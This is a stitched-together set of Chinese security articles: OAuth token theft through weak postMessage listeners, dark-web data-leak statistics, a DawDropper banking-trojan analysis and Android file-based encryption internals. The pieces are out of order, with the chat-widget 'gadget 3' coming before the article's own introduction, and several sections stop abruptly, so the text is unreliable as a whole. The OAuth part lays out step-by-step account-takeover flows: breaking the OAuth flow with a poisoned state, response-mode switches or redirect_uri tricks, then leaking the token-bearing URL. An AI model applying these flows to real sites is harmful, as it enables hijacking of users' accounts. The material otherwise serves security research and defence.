在第三方上查看錯誤配置產生漏洞的整個想法主要是確認有多種方法來實現令牌的洩漏,並且由於第三方有漏洞賞金,這只是同一種漏洞的不同接收者,不同之處在於影響是針對分析服務的所有客戶。在這種情況下,第三方的客戶實際上有能力正確配置該工具,使其不會將數據洩露給攻擊者。然而,由於敏感數據仍被發送給第三方,所以看看是否有某種方法可以完全繞過客戶對工具的正確配置是很有趣的。

小工具3:示例3,聊天小工具API最後一個例子是基於一個出現在網站所有頁面上的聊天小工具,甚至是錯誤頁面。有多個postMessage 偵聽器,其中一個沒有適當的來源檢查,只允許你啟動聊天彈出窗口。另一個偵聽器對聊天小工具進行了嚴格的來源檢查,以接收初始化調用和當前用戶使用的當前聊天API 令牌。

54.png

聊天iframe 加載時:

1.如果chat-api-token 存在於chat-widget 的localStorage 中,它將使用postMessage 將api-token 發送給其父級。如果沒有chat-api-token 存在,它不會發送任何東西。

2.當iframe 加載後,它會向其父級發送一個帶有{'type': 'chat-widget', 'key': 'init'} 的postMessage。

如果你點擊主窗口中的聊天圖標:

1.如果chat-api-令牌還沒有被發送,那麼chat-widget會創建一個令牌,並將其放在自己的源的localStorage中,並將其postMessage發送給父窗口。

2.然後父窗口將對聊天服務進行API 調用。 API 終端被CORS 限制為為服務配置的特定網站。你必須使用chat-api-token 為API 調用提供有效的Origin-header 以允許發送請求。

3.來自主窗口的API 調用將包含location.href 並使用chat-api-token 將其註冊為訪問者的“當前頁面”。然後,響應將包含一些令牌,以連接到一個websocket來啟動聊天會話:

55.png

在這個例子中,我意識到chat-api-token 的通知總是會通知給chat-widget iframe 的父級,如果我得到了chat-api-token,我可以使用令牌,然後將我自己的人工Origin-header 添加到API 調用中,因為CORS-header 僅對瀏覽器很重要。這導致了以下進程:

1.創建了一個嵌入聊天小工具iframe 的惡意頁面,添加了一個postMessage-listener 來偵聽chat-api-token。此外,如果在2 秒內沒有獲得api-token,則會觸發重新加載iframe 的事件。這是為了確保我也支持從未發起聊天的受害者,並且由於我可以觸發遠程打開聊天,我首先需要chat-api-token 開始輪詢聊天API 中的數據服務器端。

56.png

2.添加了指向惡意頁面的鏈接以打開登錄流程,該流程最終將出現在帶有URL 中帶有令牌的聊天小工具的頁面上:

'OAuth-dance”方法是什麼?

響應類型首先,你可以在OAuth-dance中使用不同的響應類型,最常見的三種是:

1.代碼+狀態。該代碼用於調用OAuth-provider 服務器端以獲取令牌。 state 參數用於驗證正確的用戶正在撥打電話。在對OAuth-provider進行服務器端調用之前,OAuth-client負責在服務器端調用OAuth-provider之前驗證狀態參數。

2.id_token。是使用來自OAuth-provider的公共證書籤名的JSON Web 令牌(JWT),以驗證所提供的身份確實是它聲稱的身份。

3.token。是服務提供者的API 中使用的訪問令牌。

響應模式在OAuth-dance 中,授權流程可以使用多種模式向網站提供代碼或令牌,以下是四種最常見的模式:

1.Query,將查詢參數作為重定向發送回網站(https://example.com/callback?code=xxxstate=xxx)。用於“代碼+狀態”情況。該代碼只能使用一次,並且在使用該代碼時你需要OAuth 客戶端密鑰來獲取訪問令牌。不建議對令牌使用此模式,因為令牌可以多次使用,並且不應最終出現在服務器日誌或類似文件中。大多數OAuth-provider不支持令牌的這種模式,僅支持代碼。例如:

response_mode=query 被Apple 使用。

response_type=code 由Google 或Facebook 使用。

2.Fragment。使用Fragment重定向(https://example.com/callback#access_token=xxx)。在這種模式下,URL 的Fragment部分不會出現在任何服務器日誌中,只能使用javascript訪問客戶端。此響應模式用於令牌。如下所示:

response_mode=fragment 被Apple 和Microsoft 使用;

response_type 包含id_token 或token,由Google、Facebook、Atlassian 和其他人使用。

3.Web-message。使用postMessage 到網站的固定來源:

postMessage('{'access_token':'xxx'}','https://example.com')

如果支持,它通常可以用於所有不同的響應類型。如下所示:

response_mode=web_message 由Apple 使用。

redirect_uri=storagerelay://. 被Google 使用。

redirect_uri=https://staticxx.facebook.com/./connect/xd_arbiter/. 被Facebook 使用。

4.Form-post。使用表單發佈到有效的redirect_uri,一個常規的POST-request被發送回網站。這可用於代碼和令牌。如下所示:

response_mode=form_post 由Apple 使用。

ux_mode=redirectlogin_uri=https://example.com/callback 由Google 登錄(GSI) 使用。

一些OAuth 提供商通過圍繞OAuth-dance 提供完整的SDK 包裝器來簡化OAuth 流程,例如Google 的GSI。這與id_token 的常規OAuth 流程完全一樣。令牌通過form-POST 或postMessage 發送回網站。

通過postMessage 竊取令牌我一直在尋找與postMessage 實現相關的漏洞。我構建了一個Chrome 擴展程序來偵聽消息並簡化檢查每個選項卡中所有窗口的所有postMessage 偵聽器。雖然如今在這些偵聽器中很少發現簡單的XSS 問題,但來源檢查較弱或沒有來源檢查的問題仍然很常見。然而,在很多情況下,能夠繞過起源檢查並沒有任何真正的影響。

我們認為將會有帶有弱源檢查或沒有源檢查的postMessage偵聽器,它們會洩漏location.href,這是你當前訪問的網站的URL。它將直接或間接洩漏到我可能能夠捕獲它的其他地方。

例如,在常規起始頁上,這可能看起來並不重要,但是如果我可以嘗試讓OAuth 代碼或令牌登陸具有這些弱postMessage 偵聽器之一的網站頁面。然後,我將能夠通過從不同的選項卡發送消息並取回location.href 來從偵聽器獲取令牌,並且我將能夠竊取OAuth 令牌,而無需任何XSS。

這種竊取當前URL 的方法對於其他具有與OAuth-dance 無關的敏感URL 的地方當然很有趣,但感覺使URL 敏感的最常見方法是關注登錄流程。

為了開始調查,我決定:

1.瀏覽運行漏洞賞金的熱門網站上的所有登錄流程。

2.如果他們使用任何第三方OAuth-provider,請保存他們使用的登錄URL,其中包含所有提供程序的客戶端ID、響應類型/模式和重定向uri。

3.如果網站上加載了任何有趣的postMessage 偵聽器或任何其他第三方腳本,要注意。

4.嘗試將這個耗時的想法稱為“Project Dirty OAuth-Dancing”。

5.打開Bill Medley Jennifer Warnes 並開始使用。

在收集網站使用OAuth-provider的所有不同方式時,很明顯有一些可能的選擇和組合,不同的網站決定使用不同的回應類型和模式組合。完成後,我能夠將注意力集中在最流行的OAuth-provider上,然後看看我是否可以基於其他限定符過濾網站

使用OAuth-dance 時要注意的坑在成功使用OAuth-dance後,令牌會從網站的URL 中刪除。確保網站未正確使用代碼或令牌是使此攻擊起作用的第一步,因為我想自己竊取和使用代碼或令牌。

這可能會產生各種結果,但我們的想法是最終出現某種形式的錯誤頁面或類似的仍然加載第三方javascript 以便我們洩露令牌的頁面。

有多種方法可以打破OAuth-dance。這些使OAuth-dance無效的方法本身沒有任何影響,但如果受害者最終將代碼或令牌仍然放在URL中,並與location.href-leak 鏈接在一起,它們就變得很重要。

故意對“狀態”進行攻擊OAuth規范建議將狀態參數與response_type=code結合使用,以確保啟動流程的用戶也是在OAuth-dance 之後使用代碼來發布令牌的用戶。

但是,如果狀態值無效,代碼將不會被使用,因為驗證狀態是網站的責任。這意味著,如果攻擊者可以向具有有效攻擊狀態的受害者發送登錄流鏈接,那麼受害者的oaut -dance將失敗,代碼將永遠不會發送給OAuth-provider。如果攻擊者可以得到它,該代碼仍然可以使用。

1.攻擊者使用“使用X 登錄”在網站上啟動登錄流程。

2.攻擊者使用狀態值並為受害者構建一個鏈接,讓他們用OAuth-provider登錄,但使用攻擊者的狀態。

3.受害者使用該鏈接登錄並重定向回該網站。

4.網站驗證受害者的狀態並停止處理登錄流程,因為它不是一個有效狀態。受害者的錯誤頁面。

5.攻擊者找到了從錯誤頁面洩漏代碼的方法。

6.攻擊者現在可以使用自己的狀態和受害者洩露的代碼登錄。

響應類型/響應模式切換改變OAuth-dance的響應類型或響應模式將影響代碼或令牌返回網站的方式,這在大多數情況下會導致意想不到的行為。我還沒有看到任何OAuth-provider有限製網站想要支持的響應類型或模式的選項,所以根據OAuth-provider的不同,通常至少有兩種或更多的OAuth-provider可以在嘗試以不滿意的方式結束時進行更改。

還可以請求多個響應類型。有一個規範解釋了當請求多個響應類型時,如何向redirect-uri提供值:

如果在一個請求中,response_type只包含要求服務器返回在查詢字符串中完全編碼的數據的值,那麼這個多值response_type的響應中返回的數據必須在查詢字符串中完全編碼。此建議同時適用於成功響應和錯誤響應。

如果在一個請求中,response_type包含任何要求服務器返回在片段中完全編碼的數據的值,那麼響應中這個多值response_type返回的數據必須在片段中完全編碼。此建議同時適用於成功響應和錯誤響應。

如果正確地遵循了這個規範,這意味著你可以要求發送到網站的代碼參數,但如果你同時也要求id_token,代碼參數將在Fragment部分而不是在查詢字符串中發送。

對於Google 的登錄,這意味著:

4.png

將重定向到https://example.com/callback?code=xxxstate=yyy。但是:

5.png

將重定向到https://example.com/callback#code=xxxstate=yyyid_token=zzz。

如果你使用以下方法,同樣的想法也適用於Apple:

6.png

你將被重定向到https://example.com/callback?code=xxxstate=yyy,但是:

7.png

會將你重定向到https://example.com/callback#code=xxxstate=yyyid_token=zzz。

Redirect-uri大小寫轉換一些OAuth-provider允許在redirect_uri 的路徑中進行大小寫轉換,而不是真正遵循保護基於重定向的流程規範:

在將客戶端Redirect-uri與預註冊的URI 進行比較時,授權服務器必須使用精確的字符串匹配,本地應用程序的localhost Redirect-uri中的端口號除外。該措施有助於防止授權代碼和訪問令牌的洩漏,它還可以幫助檢測混淆攻擊。

這意味著,將https://example.com/callback 作為應用程序的配置重定向uri,以下流程仍然有效:

8.png

並將你重定向到:https://example.com/CaLlBaCk#id_token=xxx。我測試過的所有網站都沒有使用不區分大小寫的路徑,因此大小寫轉換觸發了不太順暢的路徑,顯示錯誤或重定向到仍然存在Fragment的登錄頁面。

另請注意,使用response_type=code 這個方法更難被利用。在一個正確的OAuth-dance使用代碼中,在從服務提供者獲取訪問令牌的最後一步中,還必須提供redirect_uri 以向服務提供者進行驗證。如果OAuth-dance中使用的redirect_uri 與網站發送給提供者的值不匹配,則不會發出訪問令牌。但是,使用任何其他響應類型,例如token 或id_token,都不需要最後一步的驗證,因為token是在重定向中直接提供的。

增加Redirect-uri路徑

一些OAuth-provider允許將其他數據添加到redirect_uri 的路徑中。這也以與“Redirect-uri case shift”相同的方式破壞了規範。例如,有一個https://example.com/callbackredirect uri,發送一下內容:

9.png

最終會重定向到https://example.com/callbackxxx#id_token。這已報告給受影響的供應商。此處適用與大小寫轉換相同的事情,對於response_type=code 這將不允許你發出令牌,因為在最後一步從提供者獲取令牌時會比較正確的redirect_uri。

增加Redirect-uri參數附加一些OAuth-provider允許向redirect_uri添加額外的查詢或Fragment參數。你可以通過提供將附加到URL的相同參數來觸發一個不太好用的路徑來使用它。例如,有一個https://example.com/callbackRedirect-uri,發送以下內容:

10.png

在這些情況下會被重定向到https://example.com/callback?code=xxxcode=real-code。根據網站接收多個相同名稱的參數,這也可能會觸發一個不太好用的路徑。同樣適用於token和id_token:

11.png

結果是https://example.com/callback#id_token=xxxid_token=real-id_token。根據javascript在有多個相同名稱的參數時獲取Fragment參數,這也可能會以一個不太好用的路徑結束。

Redirect-uri多餘內容或錯誤配置在收集所有包含redirect_uri值的登錄url時,我還可以測試其他重定向uri值是否也有效。在我測試的網站上保存的125個不同的谷歌登錄流程中,有5 個網站的起始頁也是有效的redirect_uri。例如,如果使用了redirect_uri=https://auth.example.com/callback,那麼在這5 種情況下,其中任何一種都是有效的:

redirect_uri=https://example.com/

redirect_uri=https://example.com

redirect_uri=https://www.example.com/

redirect_uri=https://www.example.com

這對於實際使用id_token或token的網站來說特別有趣,因為response_type=code仍然會讓OAuth-provider在獲取令牌時在OAuth-dance的最後一步驗證redirect_uri。

我最終找到了許多不太好用的路徑。怎麼辦?

我現在已經為所有網站收集了一堆不太好用的路徑。以下是我看到的不同案例:

1.最後出現在錯誤頁面上。

2.重定向到網站的起始頁。

3.重定向回登錄頁面。

4.重定向回已刪除參數的登錄頁面。

5.重定向回OAuth-provider,但具有正確的值,具有正確的響應類型和狀態,基本上識別流程無效並重試它。

我們計劃專注於1、2和3,因為它們的參數仍然保存在URL中。我還得出結論,避免不太好用路徑的最佳方案是第4條。

現在是時候真正開始尋找洩露信息的方法了。我仍然沒有發現真正的漏洞。

12.png

由於postMessage-listener擴展還記錄頁面上的任何iframe是否有偵聽器,所以我開始關注那些在URL中有令牌的窗口的任何框架中至少有一個postMessage-listener的網站。

13.png

URL 洩漏小工具

我會將洩漏URL 的不同方法歸類為不同的小工具,因為它們具有不同的屬性讓我們回顧一下我已經確定的不同類型的方法。

小工具1:洩漏URL 的弱或沒有源檢查postMessage-listeners

14.png

這是預期的。一個示例是加載到網站上的流行網站的分析SDK:

15.png

此SDK 公開了一個postMessage-listener,當消息類型匹配時,它會發送以下消息:

16.png

從不同的來源向它發送消息:

17.png

響應消息將顯示在發送包含網站location.href 消息的窗口中:

18.png

可用於攻擊的流程取決於代碼和令牌用於登錄流程的方式,但攻擊場景是:

1.攻擊者向受害者發送一個精心製作的鏈接,該鏈接已準備好導致OAuth-dance 中的一條不太好用的路徑。

2.受害者點擊鏈接。新選項卡將打開一個登錄流程,其中包含正在被利用的網站的一個OAuth-provider。

3.在被利用的網站上觸發了不太好用的路徑,易受攻擊的postMessage-listener 被加載到受害者登陸的頁面上,仍然在URL 中包含代碼或令牌。

4.攻擊者發送的原始tab 發送一堆postMessages-到帶有網站的新tab 以獲取postMessage-listener 以洩漏當前URL。

5.攻擊者發送的原始標籤,然後偵聽發送給它的消息。當URL在消息中返回時,代碼和令牌將被提取並發送給攻擊者。

6.攻擊者使用最終在不太好用路徑上的代碼或令牌以受害者身份登錄。

小工具2:獲取URL 的沙盒/第三方域上的XSS

19.png

我們會在下一篇文章種介紹小工具2、小工具3,以及洩露URL 的其他途徑。

data_darknet_abstract-1200x600.jpg

每年都會有大量的公司發生重大數據洩露事件,例如2022年Medibank和Optus的數據洩露、Twitter的數據洩露、Uber和Rockstar的數據洩露以及2023年T-Mobile、MailChimp和OpenAI的數據洩露。在2022年,卡巴斯基實驗室列出了全球700家來自不同行業的公司,然後在暗網上搜索,試圖分析這些公司遭受攻擊的可能性有多大?

研究發現,暗網裡的帖子都是關於出售受攻擊帳戶、內部數據庫和文檔,以及訪問公司基礎設施。雖然暗網確實促進了各種數據類型的銷售,例如,銀行卡信息、駕駛執照和身份證照片等,但本文重點還是放在了與企業特別相關的信息上。研究發現700家公司中有223家在暗網上被提及,洩露數據的主題也不同。

1.png

各行業分佈

這意味著三分之一的公司在與銷售數據或訪問相關的暗網帖子中被引用,即使是網絡安全成熟度高的公司也避免不了被黑客攻擊。

本文提供了一個統計概述,包括所有暗網帖子,涉及2022年1月至2023年11月期間出售、購買或免費傳播受攻擊帳戶的數據。

數據洩露數據洩露會暴露機密、敏感信息,並可能導致重大問題。最常見的例子是數據庫和內部文檔,因為所有有一定規模的公司都使用機密數據,洩露會影響公司本身、員工和客戶。

暗網上每月大約有1700個新的帖子出現,涉及銷售、傳播或購買洩露數據。

2.png

2022年1月至2023年11月與數據庫出售/購買相關的消息數量

應該注意的是,並不是每條消息都代表一條最新出現的洩漏,其中有些是重複的廣告相同洩漏。

3.png

一個組合報價的示例

另一種流行的洩露類型是收集公共數據的數據庫,如姓名、個人資料、id和電子郵件,這些數據來自流行的社交網絡。它們是開發攻擊的寶貴來源。 2021年,超過7億LinkedIn用戶和5.33億Facebook用戶的個人信息被抓取並發佈在暗網上。

4.png

4.2.png

洩露的LinkedIn數據庫分佈示例

基礎設施的訪問以下是網絡攻擊者獲取企業基礎設施初始訪問權限以進行攻擊的最常見行為:

1.利用軟件漏洞。例如,對企業web資源的攻擊,利用跨網站組件的1日漏洞,SQL注入,訪問易受攻擊的web應用程序控制面板等。

2.獲得合法的公司證書。例如,使用竊取日誌中的數據或密碼挖掘。

3.針對員工的網絡釣魚攻擊。例如,帶有惡意負載的電子郵件。

特別要提的是盜用合法賬戶的方法。這些駐留在受感染設備中的惡意程序收集各種帳戶和支付數據、cookie文件、授權令牌等,並保存到日誌中。網絡攻擊者掃描這些日誌,尋找他們可以利用和賺錢的數據,一些人在尋找信用卡數據,另一些人在尋找域名賬戶,社交網絡賬戶等,他們把這個階段稱為加工。在整理完日誌後,他們要么在論壇上公開交換自己的發現,要么把它們賣給個人買家。

關於漏洞(例如SQL注入)和合法憑據(例如RDP/SSH)的信息,對於收入可觀的公司來說,定價會非常不同,因為它們提供了不同的成功攻擊概率。出售帳戶以訪問遠程管理接口(RDP、SSH)意味著已經獲得了對公司網絡基礎設施系統的訪問權限,而漏洞僅僅提供了實現類似級別訪問的機會。即使涉及到同樣的問題,比如SQL注入,也有許多因素影響攻擊的潛在發展,比如易受攻擊的主機位置(例如,公司網絡或云服務器),預期的漏洞利用技術,數據庫容量等,

基礎設施訪問受歡迎的原因很簡單,複雜的攻擊幾乎總是包括幾個階段,例如偵察、對基礎設施的初始訪問、獲得對目標系統或特權的訪問,以及實際的惡意行為(數據盜竊、破壞或加密等)。不同的階段需要不同的專業知識,因此網絡攻擊者往往具有專業知識,容易獲得訪問權限的人可能在攻擊的發展中面臨困難。在這種情況下,購買初始訪問權限簡化了攻擊,對於經驗豐富的網絡罪犯來說很划算。

對於希望降低與基礎設施訪問銷售相關的風險的企業來說,第一個挑戰是了解銷售情況。與其他類型的數據相比,這種數據類型的巨大區別在於,網絡攻擊者不喜歡在消息中提及公司的名稱,以免失去訪問權限,即使有人提到了名字,社區也會建議他們不要分享多餘的信息。

5.png

對提供出售的帖子發表評論

在這種情況下,如何跟踪此威脅?網絡攻擊者通常會在信息中加入一些屬性,比如地理位置、行業、公司規模和年收入。

6.png

6.2.png

6.3.png

一些帶有公司屬性論壇消息的示例

在2022年,研究人員發現了大約3000個獨立的基礎設施項目,到2023年11月,我們已經找到了超過3100份報價。通常,被黑客攻擊的企業基礎設施包括企業VPN服務的帳戶和內部網絡中的一些服務器或主機(通常,訪問是通過RDP或web shell執行的)。

7.png

2022年1月至2023年11月提供的基礎設施訪問的消息數量

賬戶被盜還有另一類數據是獲得初始訪問權限的真正發現,受攻擊帳戶。根據來源,研究人員將所有受攻擊賬戶分為三類:

1.在網絡威脅組織中自由傳播的公開秘密。

2.在黑客論壇和私人聊天中出售的具有有限訪問權限的漏洞,有時這些只是包含未經驗證的信息的小型數據庫。

3.在暗網論壇上發布的惡意軟件日誌中洩露的用戶賬戶。由於REDLINE和VIDAR這樣的信息竊取程序,這些憑證變得可用,現在可以通過惡意軟件即服務在網絡犯罪社區中輕鬆訪問。

乍一看,網絡攻擊者沒有理由免費共享憑證。然而,如果他們不再需要這些數據,並希望在特定的暗網論壇上提高他們在網絡犯罪社區中的比率,他們仍然可以這樣做。此外,他們還可以發布一些包含受攻擊帳戶的惡意軟件日誌文件,以進行下一次銷售。

這三種類型的證書洩露都對公司造成了威脅,有些員工不顧禁令,使用公司電子郵件地址在第三方網站上註冊。在典型情況下,公司員工對外部服務和公司資源使用相同的密碼,有助於網絡攻擊者未經授權便訪問公司基礎設施。

我們會在本文介紹一種名為DawDropper的銀行木馬滴管,並詳細說明了其與深層網絡中的DaaS相關的網絡犯罪活動。

今年,攻擊者通過惡意下載程序偷偷地將越來越多的銀行木馬添加到GooglePlay商店,這證明這種技術可以有效地逃避檢測。此外,由於對傳播移動惡意軟件的新方法有很高的需求,一些攻擊者聲稱他們的滴管可以幫助其他網絡犯罪分子在GooglePlay商店上傳播他們的惡意軟件,從而產生了滴管即服務(DaaS)模型。

早在2021年下半年,就有研究人員發現了一個惡意活動,該活動使用了一種新的dropper變體,我們稱之為DawDropper。 DawDropper以JustIn:VideoMotion、DocumentScannerPro、ConquerDarkness、simpliCleaner和UniccQRScanner等多個Android應用為幌子,使用第三方雲服務FirebaseRealtimeDatabase來逃避檢測並動態獲取有效載荷下載地址。它還在GitHub上託管惡意負載。截至報告時,這些惡意應用程序已不再在GooglePlay商店中提供。

1.png

DawDropper以前在GooglePlay商店中可用的惡意應用程序

我們觀察到新的DawDropperdropper的技術細節,查看了2022年初發布的使用惡意滴管銀行木馬的簡史,並在這篇文章中討論了與暗網中的DaaS相關的網絡犯罪活動。

DawDropper技術分析根據我們的觀察,DawDropper的變體可以釋放四種類型的銀行木馬,包括Octo、Hydra、Ermac和TeaBot。所有DawDropper變體都使用Firebase實時數據庫(一種用於存儲數據的合法雲託管NoSQL數據庫)作為其命令和控制(CC)服務器,並在GitHub上託管惡意負載。

2.png

DawDropper感染鏈

3.png

託管Octo有效負載的GitHub存儲庫

4.png

託管Ermac有效負載的GitHub存儲庫

5.png

託管Hydra有效負載的GitHub存儲庫

Clast82和DawDropper之間的相似之處有趣的是,我們發現CheckPointResearch在2021年3月報告的另一個名為Clast82的dropper也使用Firebase實時數據庫作為CC服務器。

6.png

從CC服務器獲取的數據格式

DawDropperCC服務器返回的數據類似於Clast82數據:

7.png

DawDropperCC服務器響應

8.png

另一個DawDropper變體的CC服務器響應,添加了安裝指標和安裝新更新的提示

Octo有效載荷DawDropper的惡意負載屬於Octo惡意軟件家族,這是一種模塊化和多階段的惡意軟件,能夠竊取銀行信息、攔截短信和劫持受感染的設備。 Octo也稱為Coper,歷史上一直用於針對哥倫比亞的網上銀行用戶。

根據我們的分析,DawDropper的Octo惡意軟件負載與之前報導的變體相似。該數據包使用編程語言關鍵字來混淆惡意功能。

9.png

2022年3月和6月部署的同類型Octo有效載荷包

一旦Octo惡意軟件在受害者的設備中成功啟動並獲得主要權限,它將保持設備喚醒並註冊預定服務以收集敏感數據並將其上傳到其CC服務器。它還使用虛擬網絡計算(VNC)來記錄用戶的屏幕,包括銀行憑證、電子郵件地址和密碼以及PIN等敏感信息。該惡意軟件還通過關閉設備的背光並關閉設備的聲音來隱藏攻擊,從而導致用戶的屏幕變黑。

10.png

Octo惡意軟件感染鏈

該惡意軟件還可以禁用GooglePlayProtect(通過設備的應用程序並檢查攻擊)並收集用戶數據,包括受感染手機的AndroidID、聯繫人列表、已安裝的應用程序,甚至是短信。

2022年初的迭代史為了更好地理解銀行木馬通過惡意dropper傳播的趨勢,我們必須回顧自2022年初以來,滴管是如何在GooglePlayStore上出現的,分析這些滴管如何彼此不同和演變,並了解網絡犯罪分子是如何傳播他們。

11.png

2022年上半年通過滴管傳播的銀行木馬時間線

銀行滴管之間的主要區別儘管這些銀行滴管的主要目標是相同的,即在受害者的設備上傳播和安裝惡意軟件。但我們已經觀察到,這些銀行滴管在實現惡意程序的方式上存在顯著差異。例如,今年早些時候出現的銀行滴管具有硬編碼的有效載荷下載地址。同時,近期上線的銀行滴管往往會隱藏負載的實際下載地址,有時會使用第三方服務作為CC服務器,還會使用GitHub等第三方服務託管惡意負載。

12.1.png

12.2.png

12.3.png

12.4.png

Vulturdropper(SHA-256:00a733c78f1b4d4f54cf06a0ea8cc33604512d6032ef4ef9114c89c700bfafcf),又名Brunhilda,於2020年底首次被報導為DaaS。 2022年1月,我們觀察到它直接在受感染設備上下載惡意負載,並有自己的方法解密惡意載荷。

13.png

Vulturdropper的下載文件

14.png

Vulturdropper的惡意負載解密進程

同樣於2022年1月發布的Sharkbot滴管(SHA-256:7f55dddcfad05403f71580ec2e5acafdc8c9555e72f724eb1f9e37bf09b8cc0c)具有獨特的行為:它不僅充當滴管,還請求訪問權限並響應所有用戶界面(UI)事件受感染的設備。

15.png

Sharkbotdropper的請求服務器

16.png

Sharkbotdropper從響應中獲取下載URL

與此同時,2022年4月發布的TeaBotdropper使用GitHub託管其惡意軟件負載。但是,TeaBot使用另一個GitHub存儲庫來獲取下載地址,而DawDropper則使用Firebase實時數據庫。

DaaS暗網活動在對使用滴管的銀行木馬的調查中,我們觀察到,2021年首次報告的其中一個滴管是Gymdrop,它連接到網絡一個攻擊者可以用來管理的管理面板(trackerpdfconnect[.]com和smartscreencaster[.]online)滴管和有效載荷。我們還發現Gymdrop在一個暗網論壇上被宣傳為典型的DaaS。

17.png

Hydradropper的Gymdrop管理面板

18.png

2022年2月地下論壇中的Gymdrop管理面板登錄頁面

安全建議攻擊者不斷尋找逃避檢測和感染盡可能多設備的方法。在半年的時間裡,我們已經看到銀行木馬如何改進其技術進程以避免被檢測到,例如將惡意負載隱藏在滴管中。隨著越來越多的銀行木馬通過DaaS獲得,攻擊者將有一種更簡單、更經濟高效的方式來傳播偽裝成合法應用程序的惡意軟件。我們預計這種趨勢將繼續下去。用戶應採用以下安全安全措施:

始終檢查應用評論,看看用戶是否表達了不尋常的擔憂或負面體驗。

在調查應用開發商和發行商時進行盡職調查,避免從看起來可疑的網站下載應用程序。

避免安裝來歷不明的應用程序。

移動用戶可以通過使用移動安全解決方案實時掃描移動設備並按需檢測惡意應用程序或惡意軟件以阻止或刪除它們,從而幫助最大限度地緩解這些欺詐性應用程序帶來的威脅。這些應用程序適用於Android和iOS。

cool-picture.png

Android FBE的背景我們將在本文介紹分析靜態數據加密。 Android FBE是Android Full Disk Encryption的簡稱,是一種安全機制,用於對Android設備的所有數據進行加密,保護用戶的個人隱私和敏感數據。

簡而言之,此功能允許永遠不以明文形式存儲文件,以防止攻擊者通過簡單地提取存儲設備來讀取它們。相反,文件在加載到內存中時(例如,通過文本編輯器)會自動解密,並在寫回磁盤時再次加密。這要歸功於操作系統的支持,Android歷來使用兩種方法:全磁盤加密(FDE)和基於文件的加密(FBE)。顧名思義,基於文件的加密在文件級工作。也就是說,每個文件都有自己的密鑰,並且可以獨立於其他文件進行解密。 Android依賴於Linux內核特性fscrypt來實現這一點,該特性在Ext4和F2FS等各種文件系統中都得到支持。在為目錄樹獲得主密鑰之後,系統將為文件、目錄和符號鏈接檢索單獨的密鑰。

由於採用了文件級方法,FBE實現非常精確。 Android利用這一點將文件劃分為兩個加密級:

設備加密(DE):文件在啟動後立即可用;

憑證加密(CE):文件只有在用戶進行身份驗證後才可用(這是用戶數據的選擇級別)。

在啟動設備時自動派生DE密鑰,考慮到這一點以及它所保護的數據類型,從攻擊者的角度來看,它並不是特別有趣。然而,值得注意的是,這是直接啟動功能的基礎,允許在用戶進行身份驗證之前解鎖設備的某些功能,比如警報。

儘管如此,由於攻擊者的目標可能是檢索私有數據,因此本文主要關注CE密鑰。派生它的步驟相當複雜,過程從系統擁有的一些DE保護文件(在/data/system_DE//spblob中)開始。最終密鑰的原始字節實際上是從憑證的原始字節派生出來的。儘管過程複雜,但這意味著無論攻擊者可以利用多少漏洞,他們仍然需要暴力破解憑證以將其提供給密鑰派生過程。

使用TrustZone派生CE密鑰1.png

上圖顯示了派生CE密鑰所需的不同組件是如何鏈接在一起的。如上所述,這是一個相當複雜的過程,所以我們建議在一個單獨的選項卡中打開圖片。對於沒有配備安全芯片的設備,密鑰派生來自兩個不同的受保護組件:

特權用戶(system或root)擁有的文件:普通用戶無法訪問;

TEE保護密鑰:這些密鑰只能在TEE內部由Keymaster應用程序使用。這些密鑰也是與身份驗證綁定的,因此只有在用戶成功通過身份驗證時才能使用它們。

這意味著攻擊者應該能夠提升權限並篡改可信執行環境,以便提取密鑰或能夠在身份驗證之前使用密鑰。為此,我們有必要了解Gatekeeper如何進行身份驗證。

使用Gatekeeper進行身份驗證2.png

Gatekeeper是TEE中經常出現的可信應用程序(TA)之一,通過與相應的Android守護進程以及硬件抽象層通信,它在驗證用戶的身份驗證憑證方面發揮著關鍵作用。請注意,Gatekeeper僅通過PIN/密碼/模式參與身份驗證,而其他TA用於支持生物識別。儘管如此,當用戶在啟動設備時首次進行身份驗證時,他們無法使用生物識別技術,原因恰恰與數據加密有關。

Gatekeeper實現了兩個概念上簡單的命令:Enroll和Verify。通常在用戶首次設置身份驗證因素或更改身份驗證因素時調用Enroll。該命令接受一個所謂的密碼(pwd)blob,對其進行簽名,然後返回,將其轉換為密碼句柄。密碼blob是從憑證創建的,憑證首先使用scrypt進行擴展,然後與哈希字符串組合。用於簽名所提供的密碼的密鑰是Gatekeeper的內部密鑰,用於驗證憑證。這樣的功能是通過Verify命令實現的,而在用戶嘗試進行身份驗證時調用該命令。顧名思義,它驗證當前身份驗證嘗試的密碼blob是否有效。它通過計算其HMAC並將其與原始密碼句柄進行比較來實現這一點,原始密碼句柄也與命令一起發送。

Scrypt是一個密鑰派生函數,在這種情況下,它通過需要大量內存來減緩自定義硬件攻擊。它的參數與憑證的鹽值一起存儲在一個文件中。這意味著每次身份驗證嘗試的延遲可以忽略不計,但卻讓需要多次進行身份驗證的攻擊者減慢了速度。

如果身份驗證成功,Gatekeeper將創建一個身份驗證(auth)令牌。這是一個標準格式的簽名令牌(如AOSP中指定的),旨在防止重放攻擊。此令牌證明用戶已通過身份驗證,需要發送給Keymaster TA以解鎖綁定身份驗證的密鑰。如果身份驗證嘗試失敗,Gatekeeper的節流機制就會啟動,使暴力破解變得不可能。這是與實現相關的,但通常TA存儲有關每個失敗請求的時間的信息,並在此類失敗請求的頻率變得可疑時開始返回錯誤。當用戶再次成功進行身份驗證時,計數器將重置。

合成密碼用戶通過身份驗證後,系統就有了一個有效的applicationId。在真正成為CE密鑰之前,還需要經過幾個步驟。對我們來說,第一個也是更有趣的是合成密碼的推導過程。檢索到這些信息後,還有許多一些操作,但是這些步驟不需要用戶或某些受信任的組件提供任何信息。

3.png

合成密碼存儲在Android文件系統中,必須用兩個不同的密鑰解密。第一個是存儲在Android Keystore中的常規密鑰,該密鑰受TEE保護並綁定身份驗證。由於這些密鑰永遠不會離開TEE,因此它們以加密形式存儲,並且需要在Keymaster TA中進行解密。除此之外,如上所述,只有當命令還包含先前由Gatekeeper生成的驗證令牌並且仍然有效時,才能使用它們。一旦在TEE中完成了第一次解密,就使用哈希的applicationId作為密鑰再次解密中間緩衝區。注意,這裡的AES是使用GCM模式完成的,如果密鑰出現問題,則由於標記不匹配而導致操作失敗。

此時,攻擊者基本上需要完成三件事才能恢復CE密鑰。首先,他們需要能夠檢索特權用戶擁有的文件,這很可能是利用了一個包含多個漏洞的內核漏洞。然後,他們還必須篡改TEE,要么從Keymaster洩露所需的密鑰,要么攻擊Gatekeeper中的憑證驗證和認證令牌生成。最後,他們需要對獲得的信息執行暴力破解。

